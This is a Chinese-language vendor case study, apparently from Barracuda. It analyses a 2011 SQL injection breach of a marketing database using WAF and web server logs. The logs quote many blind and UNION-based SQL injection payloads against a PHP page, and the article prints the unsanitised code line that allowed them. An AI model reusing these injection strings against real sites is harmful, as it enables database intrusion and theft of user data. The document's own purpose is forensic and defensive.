梭子鱼WEB应用防火墙数据防泄露实战案例系列(一)

来源: 梭子鱼作者:杨洋
2012/2/8 17:31:34
梭子鱼Web应用防火墙设备能够为网站提供对包括SQL注入在内的各种攻击的防护。虽然网页中包含PHP代码漏洞,但只要开启梭子鱼Web应用防火墙的防护功能,所有的攻击都在几秒钟内都被阻止。

分享到: 新浪微博 腾讯微博

引言

在如今这个Web 攻击已经 实现 自动 的时代,管理员 网站的安全保护不能有丝毫松懈。2011年4月9日,置于“被动模式”(只监控对网站的访问)的梭子鱼Web应用防火墙详细记录了黑客侵入一家公司市场部数据库的全过程。分析显示,该次攻击最有可能是那些犯罪意图不明显的灰帽子黑客所为。本文将 具体 探讨数据泄露是如何发生的 我们 获得了 哪些启示,以及梭子鱼Web应用防火墙 如何阻止正在进行的应用 攻击 有效防止进一步破坏。
Web 应用的设计保证了数据能够透明地穿过网络防火墙 ,因此 传统的 层网络防火墙无法检测 阻止 层(应用层)的攻击 然而,许多组织都 还没有充分 意识到 层安全措施已经不能满足当前的需求 ,从而 使得这些组织极易受到 针对 各种应用的攻击。
不管动机如何,针对 Web 应用的攻击, 尤其是 SQL 注入攻击,都被证明是渗透网络并窃取数据的最 有效 途径
§ Web 应用攻击仅占全部数据泄露事件的 54%,但 窃取的数据 92
§ SQL 注入攻击仅占 Web 应用攻击的25%,但是被窃取的数据占89%
数据泄露事件说明
此次数据泄露事件的主要原因有以下几 点:
1. 网站的PHP 代码存在错误
2. 原本应定期进行的代码漏洞扫描 被忽略, 导致没有及时发现PHP代码问题
3. 网站维护人员 没有开启 梭子鱼Web应用防火墙 的安全防护功能
对有漏洞的代 码未加以保护,受到 攻击只是个时间问题。根据梭子鱼Web应用防火墙的记录和报告,攻击是 这样 发生的:

描述
2011-04-10 00:07:59 GMT
第一个IP开始对网站主页进行探测
2011-04-10 00:16:15 GMT
攻击者在尝试了175个URL后找到了存在漏洞的URL,开始探测数据库
2011-04-10 03:10:43 GMT
第二个IP地址开始对存在漏洞的URL进行探测
2011-04-10 10:10:00 GMT
攻击开始,黑客试图检索数据库用户
2011-04-10 10:16:00 GMT
攻击者放弃针对用户的攻击,转而尝试获取数据库的列表(list)和架构(schema)
2011-04-10 10:19:00 GMT
攻击者开始盗取数据
2011-04-10 17:30:00 GMT
我们发现了网站被攻击
2011-04-10 17:37:00 GMT
我们发现梭子鱼WEB应用防火墙针的防护功能没有开启
2011-04-10 17:39:59 GMT
我们开启梭子鱼WEB应用防火墙的防护功能, 此后没有再发现任何攻击行为发生
2011-04-10 21:00:00 GMT
源自这些IP地址的攻击不再进行停止

数据泄露事件具体过程

通过梭子鱼Web应用防火墙的日志,我们确认非法用户使用了两个客户端对网站进行探测和攻击。
使用梭子鱼Web应用防火墙报告的信息,我们能够迅速在Web服务器日志上过滤并查找到相应的记录条目。
2011-04-1003:19:17 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=99%20and%20”x”=”x 80-87.1
2011-04-1003:19:17 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:18 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=98%20and%20”x”=”x 80-87.1
2011-04-1003:19:18 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=97%20and%20”x”=”x 80-87.1
2011-04-1003:19:19 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:21 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:24 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:26 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:28 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:31 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:32 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:33 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:37 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:39 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:41 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:46 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:48 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:48 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-1003:19:49 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-1003:19:51 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:51 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-1003:19:52 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-1003:19:53 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:53 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-1003:19:54 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-1003:19:54 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:54 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-1003:19:55 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:57 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:57 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-1003:19:57 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
注:Web 日志使用的是格林威治标准时间(GMT),而 Web 应用防火墙使用的是太平洋夏令时(PDT)
通过仔细查看梭子鱼Web 应用防火墙的每个日志条目,我们找到了攻击者及其所用工具的线索:
发现漏洞

第一次攻击的开始时间为4月9日下午5:07,攻击者的IP地址为 115.134.249.15,来自马来西亚的 吉隆坡,该日志条目证实了认为攻击来自马来西亚的在线报告。我们还注意到,攻击者用以探测 Web 网站 SQL 注入缺陷的是White hats设计的渗透工具的一个修改版;相关的日志条目报告显示,负责此次攻击的黑客团队频繁进入White hat在线社区。我们在 Web 服务器日志上也发现了相似的条目。这些日志条目还让我们跟踪到攻击者尝试了哪些攻击以及在我们的后台系统上成功进行了哪些攻击。
ex11041000.log:2011-04-1000:17:18 GET /ns/customers/customer_verticals.php v=1180-115.134.249.155Mozilla/4.0+(compatible;+MSIE+7.0;+W
ex11041000.log:2011-04-1000:17:20 GET /ns/customers/customer_verticals.php v=-9.9 80-115.134.249.155Mozilla/4.0+(compatible;+MSIE+7.0;+
ex11041000.log:2011-04-1000:17:22 GET /ns/customers/customer_verticals.php v=11%20and%201=1 80-115.134.249.155Mozilla/4.0+(compatibl
ex11041000.log:2011-04-1000:17:24 GET /ns/customers/customer_verticals.php v=11%20and%201=0 80-115.134.249.155Mozilla/4.0+(compatibl
ex11041000.log:2011-04-1000:17:25 GET /ns/customers/customer_verticals.php v=11’%20and%20’x’=’x 80-115.134.249.155Mozilla/4.0+(compati
注:Web 日志使用的是格林威治标准时间(GMT),而 Web 应用防火墙使用的是太平洋夏令时(PDT)
我们现在知道,第一个攻击者使用自动工具逐步遍历网站,并对每个允许输入的参数项注入一系列 SQL 命令,查找可能的漏洞。SQL 注入工具于下午 5:16 找到了第一个漏洞,但没有继续深入该网页;下午 8:10,IP地址为 87.106.220.57 的第二个客户端加入了攻击行列。经追踪发现,第二个IP地址的服务器在德国,但尚不清楚该服务器是一个代理,还是第二个攻击者。梭子鱼WAF同样记录下了来自第二个IP地址的活动。
以下是相应的 Web 服务器日志:
2011-04-1003:14:11 GET /ns/customers/customer_verticals.php v=12”%20UNION%20ALL%20SELEC T%20null ,null,null,null,null,null,null,null,null,null ,
2011-04-1003:14:11 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substr ing((SELEC T%20distinc t%20schema_name%20fr om%
2011-04-1003:14:12 GET /ns/customers/customer_verticals.php v=12”%20and(selec t%201%20fr om(select%20count(*),concat((select%20(select%2
2011-04-1003:14:12 GET /ns/customers/customer_verticals.php v=12”%20and(selec t%201%20fr om(select%20count(*),concat((select%20(select%2
2011-04-1003:14:14 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substr ing((SELEC T%20distinc t%20schema_name%20fr om%
2011-04-1003:14:14 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((database()))<32%20and%20”x”=”x 80-87.106.220.57M
2011-04-1003:14:15 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((database()))<16%20and%20”x”=”x 80-87.106.220.57M
注:Web 日志使用的是格林威治标准时间(GMT),而 Web 应用防火墙使用的是太平洋夏令时(PDT)
从梭子鱼Web应用防火墙的日志发现,攻击者似乎利用了第二个客户端对已发现的漏洞进行了手动攻击,而主要攻击仍然集中在继续对Web 站点进行扫描,以获取其它漏洞。最终,攻击者们集中力量攻击非主页的一个WEB 页面上的一行弱代码,其输入参数并未进行控制审查。以下是那段代码:
< ? = F o o_Function($_GET[parameter])?>// 获得用户输入
因未对输入值进行限定,该代码错误让攻击者们得以向 HTML的输入参数进行注入 SQL 命令来攻击后台数据库。
从漏洞到数据泄露
攻击者们发现了存在漏洞的页面后,就企图窃取数据库用户账号。在接下来的 10个小时里,攻击者们尝试了数种方法来强行闯入后台数据库,但是每次都以失败告终。上午3:06,攻击者们改变了策略,集中攻击后台数据库Schema。事实证明,这是个有效的决定。到 3:19am,攻击者们已经窃取了第一批电子邮箱账号。
网站管理员在10:30am 发现网站被攻击,并于10:39am将梭子鱼Web应用防火墙切换到ACTIVE模式开启保护,阻止了来自 IP 地址为 115.134.249.15 的所有后续攻击。接下来的数小时里,攻击者们继续对剩下的 Web 页面进行定时攻击,从梭子鱼Web应用防火墙设备将所有这些攻击拒之门外。从攻击文件证实了我们的结论,即:攻击者们使用了一种自动扫描渗透工具,大范围地注入 SQL 命令。最终,攻击者们从两个攻击IP地址总共对 175 个URL 发送了 110,892 个 SQL 注入式命令,其频率为每分钟 42次。
我们在追踪梭子鱼Web应用防火墙上的防火墙日志和访问日志时,确定攻击者们窃取了市场部数据库中的两套记录,包含 21,861 个用户名和电子邮件记录。因为这两套记录还存在副本,并且当中有许多用户已离开原先的公司,所以受影响的用户数比被窃取记录的总数要小得多。
任何数据泄露都是严重的问题。尽管实施这次攻击的黑客们似乎并无恶意,但是类似的泄漏数据,可能被用来对受影响的用户进行钓鱼攻击。
结论
无论是从事前还是事后的角度来分析,这次攻击更像是一次攻防演练;通过这次事件,我们更确信,梭子鱼Web应用防火墙设备能够为网站提供对包括SQL注入在内的各种攻击的防护。虽然网页中包含PHP代码漏洞,但只要开启梭子鱼Web应用防火墙的防护功能,所有的攻击都在几秒钟内都被阻止。而且,梭子鱼Web应用防火墙的日志和报告提供了完整的攻击记录以及失窃数据的记录,从而为分析和研究Web应用安全提供了一个很好的案例。为了保障网站的安全,在编写高质量的代码和进行漏洞测试的同时,梭子鱼Web应用防火墙设备应该成为防御应用层攻击的第一道防线。
责编:孔维维
vsharing 微信扫一扫实时了解行业动态
portalart 微信扫一扫分享本文给好友
著作权声明:kaiyun体育官方人口 文章著作权分属kaiyun体育官方人口 、网友和合作伙伴,部分非原创文章作者信息可能有所缺失,如需补充或修改请与我们联系,工作人员会在1个工作日内配合处理。
最新专题
网络安全热点透析

随着移动互联、大数据、云计算、物联网等技术的日益发展,在这些热点技术为个人生活带来便利的同时,也为企业发展..

数据安全医药行业解决方案

采用身份鉴别、访问控制、数据加密以及权限控制等多种安全防护技术手段,保障数据库中医药数据只能被合法用户合规..

    畅享
    首页
    返回
    顶部
    ×
    畅享IT
      信息化规划
      IT总包
      供应商选型
      IT监理
      开发维护外包
      评估维权
    客服电话
    400-698-9918
    Baidu
    map